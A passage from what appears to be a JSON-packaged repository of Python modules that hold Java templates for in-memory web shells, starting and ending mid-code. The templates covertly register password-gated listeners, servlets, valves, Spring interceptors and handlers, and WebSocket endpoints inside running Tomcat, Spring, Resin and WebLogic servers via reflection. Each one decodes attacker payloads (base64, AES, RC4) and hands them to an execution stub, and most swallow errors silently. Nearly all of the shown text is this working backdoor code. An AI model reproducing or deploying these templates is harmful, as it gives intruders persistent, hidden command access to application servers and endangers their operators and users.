succeeded so the\n                // above call must also succeed.\n            }}\n            pw = new PrintWriter(osw);\n        }}\n\n        @Override\n        public void flush() {{\n            pw.flush();\n        }}\n\n        @Override\n        public void close() {{\n            pw.close();\n        }}\n\n        @Override\n        public boolean checkError() {{\n            return pw.checkError();\n        }}\n\n        @Override\n        public void write(int c) {{\n            pw.write(c);\n        }}\n\n        @Override\n        public void write(char[] buf, int off, int len) {{\n            pw.write(buf, off, len);\n        }}\n\n        @Override\n        public void write(char[] buf) {{\n            pw.write(buf);\n        }}\n\n        @Override\n        public void write(String s, int off, int len) {{\n            pw.write(s, off, len);\n        }}\n\n        @Override\n        public void write(String s) {{\n            pw.write(s);\n        }}\n\n        @Override\n        public void print(boolean b) {{\n            pw.print(b);\n        }}\n\n        @Override\n        public void print(char c) {{\n            pw.print(c);\n        }}\n\n        @Override\n        public void print(int i) {{\n            pw.print(i);\n        }}\n\n        @Override\n        public void print(long l) {{\n            pw.print(l);\n        }}\n\n        @Override\n        public void print(float f) {{\n            pw.print(f);\n        }}\n\n        @Override\n        public void print(double d) {{\n            pw.print(d);\n        }}\n\n        @Override\n        public void print(char[] s) {{\n            pw.print(s);\n        }}\n\n        @Override\n        public void print(String s) {{\n            pw.print(s);\n        }}\n\n        @Override\n        public void print(Object obj) {{\n            pw.print(obj);\n        }}\n\n        @Override\n        public void println() {{\n            pw.println();\n        }}\n\n        @Override\n        public void println(boolean x) {{\n            pw.println(x);\n        }}\n\n        @Override\n        public void println(char x) {{\n            pw.println(x);\n        }}\n\n        @Override\n        public void println(int x) {{\n            pw.println(x);\n        }}\n\n        @Override\n        public void println(long x) {{\n            pw.println(x);\n        }}\n\n        @Override\n        public void println(float x) {{\n            pw.println(x);\n        }}\n\n        @Override\n        public void println(double x) {{\n            pw.println(x);\n        }}\n\n        @Override\n        public void println(char[] x) {{\n            pw.println(x);\n        }}\n\n        @Override\n        public void println(String x) {{\n            pw.println(x);\n        }}\n\n        @Override\n        public void println(Object x) {{\n            pw.println(x);\n        }}\n    }}\n\n    private static class NoBodyAsyncContextListener implements AsyncListener {{\n\n        private final NoBodyResponse noBodyResponse;\n\n        public NoBodyAsyncContextListener(NoBodyResponse noBodyResponse) {{\n            this.noBodyResponse = noBodyResponse;\n        }}\n\n        @Override\n        public void onComplete(AsyncEvent event) throws IOException {{\n            noBodyResponse.setContentLength();\n        }}\n\n        @Override\n        public void onTimeout(AsyncEvent event) throws IOException {{\n            // NO-OP\n        }}\n\n        @Override\n        public void onError(AsyncEvent event) throws IOException {{\n            // NO-OP\n        }}\n\n        @Override\n        public void onStartAsync(AsyncEvent event) throws IOException {{\n            // NO-OP\n        }}\n    }}\n}}\n\"\"\""
  },
  {
    "path": "gist/java/container/resin/context/util.py",
    "content": "code = \"\"\"\n    private Object getWebApp() throws Exception {\n        Class servletInvocation = Class.forName(\n            \"com.caucho.server.dispatch.ServletInvocation\"\n        );\n        Object contextRequest = getMethod(\n            servletInvocation, \"getContextRequest\"\n        ).invoke(servletInvocation);\n        return getMethod(contextRequest.getClass(), \"getWebApp\")\n            .invoke(contextRequest);\n    }\n\"\"\""
  },
  {
    "path": "gist/java/container/resin/listener.py",
    "content": "code = \"\"\"\nimport java.lang.reflect.*;\nimport java.util.*;\n\npublic class ResinListener implements InvocationHandler {{\n    private static String password = \"{password}\";\n{common}\n{context}\n{decoder}\n{stub}\n    private void hook(Object servletRequestEvent) throws Exception {{\n        Object servletRequest = invokeMethod(\n            servletRequestEvent, \"getServletRequest\"\n        );\n        Object servletResponse = invokeMethod(servletRequest, \"getResponse\");\n        String payload = (String) invokeMethod(\n            servletRequest, \"getParameter\", password\n        );\n        stub(payload, servletRequest, servletResponse);\n    }}\n\n    @Override\n    public Object invoke(Object proxy, Method method, Object[] args)\n            throws Throwable {{\n        if (method.getName().equals(\"requestInitialized\")) {{\n            Object servletRequestEvent = args[0];\n            hook(servletRequestEvent);\n        }}\n        return null;\n    }}\n\n    private void addListener(Object proxyObject) throws Exception {{\n        Object webApp = getWebApp();\n        ArrayList<?> listeners =\n            (ArrayList<?>) getFieldValue(webApp, \"_requestListeners\");\n        for (Object listener: listeners) {{\n            if (listener instanceof Proxy) {{\n                return;\n            }}\n        }}\n        Class WebApp = webApp.getClass();\n        if (WebApp.getName() == \"com.caucho.server.webapp.Application\") {{\n            WebApp = WebApp.getSuperclass();\n        }}\n        Method addListenerObject = getMethodX(\n            WebApp, \"addListenerObject\", 2\n        );\n        addListenerObject.setAccessible(true);\n        addListenerObject.invoke(webApp, proxyObject, true);\n    }}\n\n    public ResinListener() {{\n        synchronized(lock) {{\n            Class servletRequestListener = null;\n            try {{\n                servletRequestListener = Class.forName(\n                    \"javax.servlet.ServletRequestListener\"\n                );\n            }} catch (ClassNotFoundException e) {{}}\n\n            if (servletRequestListener != null) {{\n                Object proxyObject = Proxy.newProxyInstance(\n                    getLoader(), new Class[]{{servletRequestListener}}, this\n                );\n                try {{\n                    addListener(proxyObject);\n                }} catch (Exception e) {{}}\n            }}\n        }}\n    }}\n\n    static {{\n        new ResinListener();\n    }}\n}}\n\"\"\""
  },
  {
    "path": "gist/java/container/spring/context/util.py",
    "content": "code = \"\"\"\n    private Object getWebApplicationContext() throws Exception {\n        Class requestContextHolder = Class.forName(\n            \"org.springframework.web.context.request.RequestContextHolder\"\n        );\n        Object servletRequestAttributes = getMethodX(\n            requestContextHolder, \"currentRequestAttributes\", 0\n        ).invoke(requestContextHolder);\n        Object request = getMethodX(\n            servletRequestAttributes.getClass(), \"getRequest\", 0\n        ).invoke(servletRequestAttributes);\n\n        Class requestContextUtils = Class.forName(\n            \"org.springframework.web.servlet.support.RequestContextUtils\"\n        );\n        return getMethodX(\n            requestContextUtils, \"findWebApplicationContext\", 1\n        ).invoke(requestContextUtils, request);\n    }\n\"\"\""
  },
  {
    "path": "gist/java/container/spring/handler.py",
    "content": "code = \"\"\"\nimport org.springframework.web.server.ServerWebExchange;\n\nimport java.lang.reflect.*;\nimport java.util.*;\nimport java.util.function.Function;\n\npublic class SpringHandler {{\n    private static String password = \"{password}\";\n{common}\n{decoder}\n{stub}\n    public synchronized <T> T hook(ServerWebExchange request)\n            throws Exception {{\n        Class ServerWebExchange = Class.forName(\n            \"org.springframework.web.server.ServerWebExchange\"\n        );\n        Object mono = getMethodX(\n            ServerWebExchange, \"getFormData\", 0\n        ).invoke(request);\n\n        Class Mono = Class.forName(\"reactor.core.publisher.Mono\");\n        Method flatMap = getMethodX(Mono, \"flatMap\", 1);\n        Function transformer = reqbody -> {{\n            Object resbody = null;\n            try {{\n                Class MultiValueMap = Class.forName(\n                    \"org.springframework.util.MultiValueMap\"\n                );\n                String payload = (String) getMethodX(\n                    MultiValueMap, \"getFirst\", 1\n                ).invoke(reqbody, password);\n                String result = stub(payload, null, null);\n                if (result == null) {{result = \"\";}}\n                resbody = getMethodX(Mono, \"just\", 1).invoke(Mono, result);\n            }} catch (Exception e) {{}}\n            return resbody;\n        }};\n\n        Object resbody = flatMap.invoke(mono, transformer);\n        Class HttpStatus = Class.forName(\n            \"org.springframework.http.HttpStatus\"\n        );\n        Class ResponseEntity = Class.forName(\n            \"org.springframework.http.ResponseEntity\"\n        );\n        Object OK = getFieldValue(HttpStatus, \"OK\");\n        Constructor responseEntity = ResponseEntity.getConstructor(\n            Object.class, HttpStatus\n        );\n        return (T) responseEntity.newInstance(resbody, OK);\n    }}\n\n    public SpringHandler() {{}}\n\n    public SpringHandler(\n        Object requestMappingHandlerMapping, String path\n    ) throws Exception {{\n        Class requestMappingInfo = Class.forName(\n            \"org.springframework.web.reactive.result.method.RequestMappingInfo\"\n        );\n        Method mPaths = requestMappingInfo.getMethod(\"paths\", String[].class);\n        Method registerHandlerMethod = getMethodX(\n            requestMappingHandlerMapping.getClass(),\n            \"registerHandlerMethod\", 3\n        );\n        registerHandlerMethod.setAccessible(true);\n        registerHandlerMethod.invoke(\n            requestMappingHandlerMapping, new SpringHandler(),\n            getMethodX(SpringHandler.class, \"hook\", 1),\n            invokeMethod(mPaths.invoke(null, new Object[]{{new String[]{{path}}}}),\n        \"build\")\n        );\n    }}\n\n    public static String addHandler(\n        Object requestMappingHandlerMapping, String path\n    ) {{\n        try {{\n            new SpringHandler(requestMappingHandlerMapping, path);\n        }} catch (Exception e) {{}}\n        return \"addHandler\";\n    }}\n}}\n\"\"\""
  },
  {
    "path": "gist/java/container/spring/interceptor.py",
    "content": "code = \"\"\"\nimport java.lang.reflect.*;\nimport java.util.*;\n\npublic class SpringInterceptor implements InvocationHandler {{\n    private static String password = \"{password}\";\n{common}\n{context}\n{decoder}\n{stub}\n    private void hook(Object request, Object response) throws Exception {{\n        String payload = (String) invokeMethod(\n            request, \"getParameter\", password\n        );\n        stub(payload, request, response);\n    }}\n\n    @Override\n    public Object invoke(Object proxy, Method method, Object[] args)\n            throws Throwable {{\n        if (method.getName() == \"preHandle\") {{\n            Object request = args[0];\n            Object response = args[1];\n            hook(request, response);\n        }}\n        return true;\n    }}\n\n    private void addInterceptor(Object proxyObject) throws Exception {{\n        Class requestMappingHandlerMapping = Class.forName(\n            \"org.springframework.web.servlet.mvc.method.annotation\"+\n            \".RequestMappingHandlerMapping\"\n        );\n        Object mapping = invokeMethod(\n            getWebApplicationContext(), \"getBean\",\n            requestMappingHandlerMapping\n        );\n\n        ArrayList adaptedInterceptors = (ArrayList) getFieldValue(\n            mapping, \"adaptedInterceptors\"\n        );\n        for (Object adaptedInterceptor : adaptedInterceptors) {{\n            if (adaptedInterceptor instanceof Proxy) {{\n                return;\n            }}\n        }}\n        adaptedInterceptors.add(proxyObject);\n    }}\n\n    public SpringInterceptor() {{\n        synchronized(lock) {{\n            Class interceptorClass = null;\n            try {{\n                interceptorClass = Class.forName(\n                    \"org.springframework.web.servlet.HandlerInterceptor\"\n                );\n            }} catch (ClassNotFoundException e) {{}}\n\n            if (interceptorClass != null) {{\n                Object proxyObject = Proxy.newProxyInstance(\n                    getLoader(),\n                    new Class[]{{interceptorClass}},\n                    this\n                );\n                try {{\n                    addInterceptor(proxyObject);\n                }} catch (Exception e) {{}}\n            }}\n        }}\n    }}\n\n    static {{\n        new SpringInterceptor();\n    }}\n}}\n\"\"\""
  },
  {
    "path": "gist/java/container/tomcat/context/util.py",
    "content": "code = \"\"\"\n    private Object getStandardContext() throws Exception {\n        Object standardContext = invokeMethod(\n                getFieldValue(getLoader(), \"resources\"),\n                \"getContext\"\n        );\n\n        if (standardContext != null) {\n            return standardContext;\n        }\n\n        Class registry = Class.forName(\n            \"org.apache.tomcat.util.modeler.Registry\"\n        );\n        Object mbeanServer = invokeMethod(\n            getMethodX(registry, \"getRegistry\", 2)\n                .invoke(registry, null, null),\n            \"getMBeanServer\"\n        );\n        Object mbsInterceptor = getFieldValue(mbeanServer, \"mbsInterceptor\");\n        Object repository = getFieldValue(mbsInterceptor, \"repository\");\n        HashMap domainTb = (HashMap) getFieldValue(repository, \"domainTb\");\n        HashMap catalina = (HashMap) domainTb.get(\"Catalina\");\n        Object nonLoginAuthenticator = null;\n        Iterator<String> keySet = catalina.keySet().iterator();\n        while(keySet.hasNext()) {\n            String key = keySet.next();\n            if (key.contains(\"NonLoginAuthenticator\")) {\n                nonLoginAuthenticator = catalina.get(key);\n                break;\n            }\n        }\n        Object object = getFieldValue(nonLoginAuthenticator, \"object\");\n        Object resource = getFieldValue(object, \"resource\");\n        return getFieldValue(resource, \"context\");\n    }\n\"\"\"\n\nalt = \"\"\"\n        Class applicationDispatcher = Class.forName(\n            \"org.apache.catalina.core.ApplicationDispatcher\"\n        );\n        Class applicationFilterChain = Class.forName(\n            \"org.apache.catalina.core.ApplicationFilterChain\"\n        );\n\n        Field wrap = getField(applicationDispatcher, \"WRAP_SAME_OBJECT\");\n        Field lastServicedRequest = getField(\n            applicationFilterChain, \"lastServicedRequest\"\n        );\n        Field lastServicedResponse = getField(\n            applicationFilterChain, \"lastServicedResponse\"\n        );\n\n        ThreadLocal servletRequest =\n            (ThreadLocal) lastServicedRequest.get(null);\n        if (servletRequest == null) {\n            lastServicedRequest.set(null, new ThreadLocal());\n            lastServicedResponse.set(null, new ThreadLocal());\n            wrap.setBoolean(null, true);\n        }\n        return getFieldValue(getFieldValue(invokeMethod(\n            servletRequest.get(), \"getServletContext\"\n        ), \"context\"), \"context\");\n\"\"\""
  },
  {
    "path": "gist/java/container/tomcat/listener.py",
    "content": "code = \"\"\"\nimport java.lang.reflect.*;\nimport java.util.*;\n\npublic class TomcatListener implements InvocationHandler {{\n    private static String password = \"{password}\";\n{common}\n{context}\n{decoder}\n{stub}\n    private void hook(Object servletRequestEvent) throws Exception {{\n        Object servletRequest = invokeMethod(\n            servletRequestEvent, \"getServletRequest\"\n        );\n        Object request = getFieldValue(servletRequest, \"request\");\n        Object response = invokeMethod(request, \"getResponse\");\n        String payload = (String) invokeMethod(\n            servletRequest, \"getParameter\", password\n        );\n        stub(payload, request, response);\n    }}\n\n    @Override\n    public Object invoke(Object proxy, Method method, Object[] args)\n            throws Throwable {{\n        if (method.getName().equals(\"requestInitialized\")) {{\n            Object servletRequestEvent = args[0];\n            hook(servletRequestEvent);\n        }}\n        return null;\n    }}\n\n    private void addListener(Object proxyObject) throws Exception {{\n        Object context = getStandardContext();\n        for (Object listener :\n            (Object[]) invokeMethod(context, \"getApplicationEventListeners\")\n        ) {{\n            if (listener instanceof Proxy) {{\n                return;\n            }}\n        }}\n        getMethodX(context.getClass(), \"addApplicationEventListener\", 1)\n            .invoke(context, proxyObject);\n    }}\n\n    public TomcatListener() {{\n        synchronized(lock) {{\n            Class servletRequestListener = null;\n            try {{\n                servletRequestListener = Class.forName(\n                    \"javax.servlet.ServletRequestListener\"\n                );\n            }} catch (ClassNotFoundException e) {{\n                try {{\n                    servletRequestListener = Class.forName(\n                        \"jakarta.servlet.ServletRequestListener\"\n                    );\n                }} catch (ClassNotFoundException ex) {{}}\n            }}\n\n            if (servletRequestListener != null) {{\n                Object proxyObject = Proxy.newProxyInstance(\n                    getLoader(), new Class[]{{servletRequestListener}}, this\n                );\n                try {{\n                    addListener(proxyObject);\n                }} catch (Exception e) {{}}\n            }}\n        }}\n    }}\n\n    static {{\n        new TomcatListener();\n    }}\n}}\n\"\"\""
  },
  {
    "path": "gist/java/container/tomcat/servlet.py",
    "content": "code = \"\"\"\nimport java.lang.reflect.*;\nimport java.util.*;\n\npublic class TomcatServlet implements InvocationHandler {{\n    private static String pattern = \"*.xml\";\n    private static String password = \"{password}\";\n{common}\n{context}\n{decoder}\n{stub}\n    private void hook(Object servletRequest, Object servletResponse)\n            throws Exception {{\n        String payload = (String) invokeMethod(\n            servletRequest, \"getParameter\", password\n        );\n        stub(payload, servletRequest, servletResponse);\n    }}\n\n    @Override\n    public Object invoke(Object proxy, Method method, Object[] args)\n            throws Throwable {{\n        if (method.getName().equals(\"service\")) {{\n            Object servletRequest = args[0];\n            Object servletResponse = args[1];\n            hook(servletRequest, servletResponse);\n        }}\n        return null;\n    }}\n\n    private void addSevlet(Object proxyObject) throws Exception {{\n        Object context = getStandardContext();\n        Object wrapper = invokeMethod(context, \"createWrapper\");\n        String name = this.getClass().getName();\n        invokeMethod(wrapper, \"setServletName\", name);\n        invokeMethod(wrapper, \"setLoadOnStartupString\", \"1\");\n        getField(wrapper, \"instance\").set(wrapper, proxyObject);\n        invokeMethod(\n            wrapper, \"setServletClass\", proxyObject.getClass().getName()\n        );\n        getMethodX(context.getClass(), \"addChild\", 1).invoke(context, wrapper);\n        getMethodX(context.getClass(), \"addServletMappingDecoded\", 3)\n            .invoke(context, pattern, name, false);\n    }}\n\n    public TomcatServlet() {{\n        synchronized(lock) {{\n            Class servletClass = null;\n            try {{\n                servletClass = Class.forName(\n                    \"javax.servlet.Servlet\"\n                );\n            }} catch (ClassNotFoundException e) {{\n                try {{\n                    servletClass = Class.forName(\n                        \"jakarta.servlet.Servlet\"\n                    );\n                }} catch (ClassNotFoundException ex) {{}}\n            }}\n\n            if (servletClass != null) {{\n                Object proxyObject = Proxy.newProxyInstance(\n                    getLoader(), new Class[]{{servletClass}}, this\n                );\n                try {{\n                    addSevlet(proxyObject);\n                }} catch (Exception e) {{}}\n            }}\n        }}\n    }}\n\n    static {{\n        new TomcatServlet();\n    }}\n}}\n\"\"\""
  },
  {
    "path": "gist/java/container/tomcat/valve.py",
    "content": "code = \"\"\"\nimport java.lang.reflect.*;\nimport java.util.*;\n\npublic class TomcatValve implements InvocationHandler {{\n    private static String password = \"{password}\";\n    private static Object nextvalve = null;\n{common}\n{context}\n{decoder}\n{stub}\n    private void hook(Object request, Object response) throws Exception {{\n        String payload = (String) invokeMethod(\n            request, \"getParameter\", password\n        );\n        stub(payload, request, response);\n    }}\n\n    @Override\n    public Object invoke(Object proxy, Method method, Object[] args)\n            throws Throwable {{\n        String methodName = method.getName();\n        if (methodName.equals(\"invoke\")) {{\n            Object request = args[0];\n            Object response = args[1];\n            hook(request, response);\n            Method invoke = getMethodX(nextvalve.getClass(), \"invoke\", 2);\n            invoke.setAccessible(true);\n            invoke.invoke(nextvalve, request, response);\n        }} else if (methodName.equals(\"setNext\")) {{\n            nextvalve = args[0];\n        }} else if (methodName.equals(\"getNext\")) {{\n            return nextvalve;\n        }} else if (methodName.equals(\"toString\")) {{\n            return this.getClass().getName();\n        }} else if (methodName.equals(\"isAsyncSupported\")) {{\n            return false;\n        }}\n        return null;\n    }}\n\n    private void addValve(Object proxyObject) throws Exception {{\n        Object context = getStandardContext();\n        Object pipeline = invokeMethod(context, \"getPipeline\");\n        getMethodX(pipeline.getClass(), \"addValve\", 1)\n            .invoke(pipeline, proxyObject);\n    }}\n\n    public TomcatValve() {{\n        synchronized(lock) {{\n            Class valveClass = null;\n            try {{\n                valveClass = Class.forName(\n                    \"org.apache.catalina.Valve\"\n                );\n            }} catch (ClassNotFoundException e) {{}}\n\n            if (valveClass != null) {{\n                Object proxyObject = Proxy.newProxyInstance(\n                    getLoader(),\n                    new Class[]{{valveClass}},\n                    this\n                );\n                try {{\n                    addValve(proxyObject);\n                }} catch (Exception e) {{}}\n            }}\n        }}\n    }}\n\n    static {{\n        new TomcatValve();\n    }}\n}}\n\"\"\""
  },
  {
    "path": "gist/java/container/tomcat/wsfilter.py",
    "content": "code = \"\"\"\nimport javax.servlet.ServletContext;\nimport javax.websocket.*;\nimport javax.websocket.server.ServerContainer;\nimport javax.websocket.server.ServerEndpointConfig;\nimport java.lang.reflect.*;\nimport java.util.*;\n\npublic class TomcatWsFilter extends Endpoint\n        implements MessageHandler.Whole<String>\n{{\n    private static String password = \"/{password}\";\n\n    private static Session session = null;\n    private static Object lock = new Object();\n\n    private ClassLoader getLoader() {{\n        return Thread.currentThread().getContextClassLoader();\n    }}\n\n    private Field getField(Object obj, String fieldName) {{\n        Class clazz;\n        Field field = null;\n        if (obj == null) {{\n            return null;\n        }}\n        if (obj instanceof Class) {{\n            clazz = (Class) obj;\n        }} else {{\n            clazz = obj.getClass();\n        }}\n        while (clazz != null) {{\n            try {{\n                field = clazz.getDeclaredField(fieldName);\n                clazz = null;\n            }} catch (NoSuchFieldException e) {{\n                clazz = clazz.getSuperclass();\n            }}\n        }}\n        if (field != null) {{\n            field.setAccessible(true);\n        }}\n        return field;\n    }}\n\n    private Object getFieldValue(Object obj, String fieldName) {{\n        Field field;\n        if (obj instanceof Field) {{\n            field = (Field) obj;\n        }} else {{\n            field = getField(obj, fieldName);\n        }}\n        try {{\n            return field.get(obj);\n        }} catch (IllegalAccessException e) {{\n            return null;\n        }}\n    }}\n\n    private Method getMethodX(Class clazz, String methodName, int num) {{\n        Method[] methods = clazz.getDeclaredMethods();\n        for (Method method : methods) {{\n            if (method.getName().equals(methodName)) {{\n                if (method.getParameterTypes().length == num) {{\n                    return method;\n                }}\n            }}\n        }}\n        return null;\n    }}\n\n    private Method getMethod(Class clazz, String methodName, Class... args) {{\n        Method method = null;\n        while (clazz != null) {{\n            try {{\n                method = clazz.getDeclaredMethod(methodName, args);\n                clazz = null;\n            }} catch (NoSuchMethodException e) {{\n                clazz = clazz.getSuperclass();\n            }}\n        }}\n        return method;\n    }}\n\n    private Object invokeMethod(\n        Object obj, String methodName, Object... args\n    ) {{\n        ArrayList clazzs = new ArrayList();\n        if (args != null) {{\n            for (int i=0; i<args.length; i++) {{\n                Object arg = args[i];\n                if (arg != null) {{\n                    clazzs.add(arg.getClass());\n                }} else {{\n                    clazzs.add(null);\n                }}\n            }}\n        }}\n        Method method = getMethod(\n            obj.getClass(), methodName,\n            (Class[]) clazzs.toArray(new Class[]{{}})\n        );\n        try {{\n            return method.invoke(obj, args);\n        }} catch (Exception e) {{\n            return null;\n        }}\n    }}\n\n    private byte[] b64decode(String payload) {{\n        Class base64;\n        byte[] bytes = null;\n        try {{\n            base64 = Class.forName(\"java.util.Base64\");\n            Object decoder = base64.getMethod(\"getDecoder\", null)\n                .invoke(base64, null);\n            bytes = (byte[]) decoder.getClass()\n                .getMethod(\"decode\", new Class[] {{String.class}})\n                .invoke(decoder, new Object[] {{payload}});\n        }} catch (ClassNotFoundException e) {{\n            try {{\n                base64 = Class.forName(\"sun.misc.BASE64Decoder\");\n                Object decoder = base64.newInstance();\n                bytes = (byte[])decoder.getClass()\n                    .getMethod(\"decodeBuffer\", new Class[] {{String.class}})\n                    .invoke(decoder, new Object[] {{payload}});\n            }} catch (Exception ex) {{}}\n        }} catch (Exception ex) {{}}\n        return bytes;\n    }}\n{context}\n{decoder}\n{stub}\n    @Override\n    public void onOpen(Session s, EndpointConfig epc) {{\n        session = s;\n        s.addMessageHandler(this);\n    }}\n\n    @Override\n    public void onMessage(String m) {{\n        try {{\n            session.getBasicRemote().sendText(stub(m, null, null));\n        }} catch (Exception e) {{\n            try {{\n                session.getBasicRemote().sendText(e.toString());\n            }} catch (Exception ex) {{}}\n        }}\n    }}\n\n    private void addWsFilter() throws Exception {{\n        ServletContext servletContext = (ServletContext) invokeMethod(\n            getStandardContext(), \"getServletContext\"\n        );\n        ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder\n            .create(TomcatWsFilter.class, password).build();\n        ServerContainer container = (ServerContainer) servletContext\n            .getAttribute(ServerContainer.class.getName());\n        if (servletContext.getAttribute(password) == null) {{\n            container.addEndpoint(configEndpoint);\n            servletContext.setAttribute(password, password);\n        }}\n    }}\n\n    public TomcatWsFilter() {{\n        synchronized(lock) {{\n            try {{\n                addWsFilter();\n            }} catch (Exception e) {{}}\n        }}\n    }}\n\n    static {{\n        new TomcatWsFilter();\n    }}\n}}\n\"\"\""
  },
  {
    "path": "gist/java/container/weblogic/context/util.py",
    "content": "code = \"\"\"\n    private Object getWebAppServletContext() throws Exception {\n        Object workEntry = getFieldValue(Thread.currentThread(), \"workEntry\");\n        Object wm = getFieldValue(workEntry, \"wm\");\n        Object runtimeAccess = getFieldValue(wm, \"runtimeAccess\");\n        Iterator mBeanImpls = ((java.util.concurrent.ConcurrentMap)\n                getFieldValue(runtimeAccess, \"configToRuntimeBean\"))\n                .entrySet().iterator();\n        while (mBeanImpls.hasNext()) {\n            Map.Entry mBeanImpl = (Map.Entry) mBeanImpls.next();\n            try {\n                if (getFieldValue(\n                        mBeanImpl.getKey(), \"_ContextPath\").equals(pattern)\n                ) {\n                    return getFieldValue(mBeanImpl.getValue(), \"context\");\n                }\n            } catch (Exception e) {}\n        }\n        return null;\n    }\n\"\"\""
  },
  {
    "path": "gist/java/container/weblogic/listener.py",
    "content": "code = \"\"\"\nimport java.lang.reflect.*;\nimport java.util.*;\n\npublic class WeblogicListener implements InvocationHandler {{\n    private static String pattern = \"/bea_wls_internal\";\n    private static String password = \"passwd\";\n{common}\n{context}\n{decoder}\n{stub}\n    private void hook(Object servletRequestEvent) throws Exception {{\n        Object servletRequest = invokeMethod(\n                servletRequestEvent, \"getServletRequest\"\n        );\n        Object response = invokeMethod(servletRequest, \"getResponse\");\n        String payload = (String) invokeMethod(\n                servletRequest, \"getParameter\", password\n        );\n        stub(payload, servletRequest, response);\n    }}\n\n    @Override\n    public Object invoke(Object proxy, Method method, Object[] args)\n            throws Throwable {{\n        if (method.getName().equals(\"requestInitialized\")) {{\n            Object servletRequestEvent = args[0];\n            hook(servletRequestEvent);\n        }}\n        return null;\n    }}\n\n    private void addListener(Object proxyObject) throws Exception {{\n        Object context = getWebAppServletContext();\n        Object eventsManager = invokeMethod(context, \"getEventsManager\");\n        List requestListeners =\n                (List) getFieldValue(eventsManager, \"requestListeners\");\n        for (Object listener: requestListeners) {{\n            if (listener instanceof Proxy) {{\n                return;\n            }}\n        }}\n        requestListeners.add(0, proxyObject);\n        Field hasRequestListeners =\n                getField(eventsManager, \"hasRequestListeners\");\n        hasRequestListeners.set(eventsManager, true);\n    }}\n\n    public WeblogicListener() {{\n        synchronized(lock) {{\n            Class servletRequestListener = null;\n            try {{\n                servletRequestListener = Class.forName(\n                        \"javax.servlet.ServletRequestListener\"\n                );\n            }} catch (ClassNotFoundException e) {{}}\n\n            if (servletRequestListener != null) {{\n                Object proxyObject = Proxy.newProxyInstance(\n                        getLoader(), new Class[]{{servletRequestListener}}, this\n                );\n                try {{\n                    addListener(proxyObject);\n                }} catch (Exception e) {{}}\n            }}\n        }}\n    }}\n\n    static {{\n        new WeblogicListener();\n    }}\n}}\n\"\"\""
  },
  {
    "path": "gist/java/decoder/aes128.py",
    "content": "# AES-128-ECB-PKCS7-MD5\ncode = \"\"\"\n    private byte[] cipher(\n        byte[] payload, String alg, byte[] key, boolean isEnc\n    ) {\n        try {\n            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance(alg);\n            c.init(isEnc?1:2, new javax.crypto.spec.SecretKeySpec(key, alg));\n            return c.doFinal(payload);\n        } catch (Exception e) {\n            return null;\n        }\n    }\n\n    private String hasher(String str, String alg) {\n        try {\n            java.security.MessageDigest h =\n                java.security.MessageDigest.getInstance(alg);\n            h.update(str.getBytes(), 0, str.length());\n            return new java.math.BigInteger(1, h.digest()).toString(16);\n        } catch (Exception e) {\n            return null;\n        }\n    }\n\n    private byte[] decoder(String payload) {\n        return cipher(\n            b64decode(payload), \"AES\",\n            hasher(password, \"MD5\").substring(0, 16).getBytes(), false\n        );\n    }\n\"\"\"\n\nproc = \"\"\"\n            Class base64;\n            Object decoder;\n            byte[] bytes = null;\n            java.security.MessageDigest h;\n            javax.crypto.Cipher c;\n\n            try {\n                base64 = Class.forName(\"java.util.Base64\");\n                decoder = base64.getMethod(\"getDecoder\")\n                    .invoke(base64);\n                bytes = (byte[]) decoder.getClass()\n                    .getMethod(\"decode\", String.class)\n                    .invoke(decoder, payload);\n            } catch (ClassNotFoundException e) {\n                try {\n                    base64 = Class.forName(\"sun.misc.BASE64Decoder\");\n                    decoder = base64.newInstance();\n                    bytes = (byte[]) decoder.getClass()\n                        .getMethod(\"decodeBuffer\", String.class)\n                        .invoke(decoder, payload);\n                } catch (Exception ex) {}\n            } catch (Exception ex) {}\n\n            h = java.security.MessageDigest.getInstance(\"MD5\");\n            h.update(password.getBytes(), 0, password.length());\n            byte[] key = new BigInteger(1, h.digest()).toString(16)\n                .substring(0, 16).getBytes();\n\n            c = javax.crypto.Cipher.getInstance(\"AES\");\n            c.init(2, new javax.crypto.spec.SecretKeySpec(key, \"AES\"));\n            bytes = c.doFinal(bytes);\n\"\"\""
  },
  {
    "path": "gist/java/decoder/base64.py",
    "content": "code = \"\"\"\n    private byte[] decoder(String payload) {\n        return b64decode(payload);\n    }\n\"\"\"\n\nproc = \"\"\"\n            Class base64;\n            Object decoder;\n            byte[] bytes = null;\n\n            try {\n                base64 = Class.forName(\"java.util.Base64\");\n                decoder = base64.getMethod(\"getDecoder\")\n                    .invoke(base64);\n                bytes = (byte[]) decoder.getClass()\n                    .getMethod(\"decode\", String.class)\n                    .invoke(decoder, payload);\n            } catch (ClassNotFoundException e) {\n                try {\n                    base64 = Class.forName(\"sun.misc.BASE64Decoder\");\n                    decoder = base64.newInstance();\n                    bytes = (byte[]) decoder.getClass()\n                        .getMethod(\"decodeBuffer\", String.class)\n                        .invoke(decoder, payload);\n                } catch (Exception ex) {}\n            } catch (Exception ex) {}\n\"\"\""
  },
  {
    "path": "gist/java/decoder/hex.py",
    "content": "code = \"\"\"\n    javax.xml.bind.DatatypeConverter.parseHexBinary\n\"\"\""
  },
  {
    "path": "gist/java/decoder/raw.py",
    "content": "code = \"\"\"\n    private byte[] decoder(String payload) {\n        return payload.getBytes();\n    }\n\"\"\"\n\nproc = \"\"\"\n            Class base64;\n            Object decoder;\n            byte[] bytes = payload.getBytes();\n\"\"\""
  },
  {
    "path": "gist/java/decoder/rc4.py",
    "content": "# RC-4-SHA256\ncode = \"\"\"\n    private byte[] cipher(\n        byte[] payload, String alg, byte[] key, boolean isEnc\n    ) {\n        try {\n            StringBuilder hkey = new StringBuilder();\n            for (byte b : key) {\n                hkey.append(String.format(\"%02x\", b));\n            }\n\n            byte[] jkey = hkey.toString().getBytes();\n            byte state[] = new byte[256];\n            for (int i = 0; i < 256; i++) {\n                state[i] = (byte) i;\n            }\n            int index1 = 0;\n            int index2 = 0;\n            if (jkey.length == 0) {\n                return null;\n            }\n            for (int i = 0; i < 256; i++) {\n                index2 = ((jkey[index1] & 0xff) + (state[i] & 0xff) + index2)\n                    & 0xff;\n                byte tmp = state[i];\n                state[i] = state[index2];\n                state[index2] = tmp;\n                index1 = (index1 + 1) % jkey.length;\n            }\n\n            int x = 0;\n            int y = 0;\n            byte ikey[] = state;\n            int xorIndex;\n            byte[] result = new byte[payload.length];\n            for (int i = 0; i < payload.length; i++) {\n                x = (x + 1) & 0xff;\n                y = ((ikey[x] & 0xff) + y) & 0xff;\n                byte tmp = ikey[x];\n                ikey[x] = ikey[y];\n                ikey[y] = 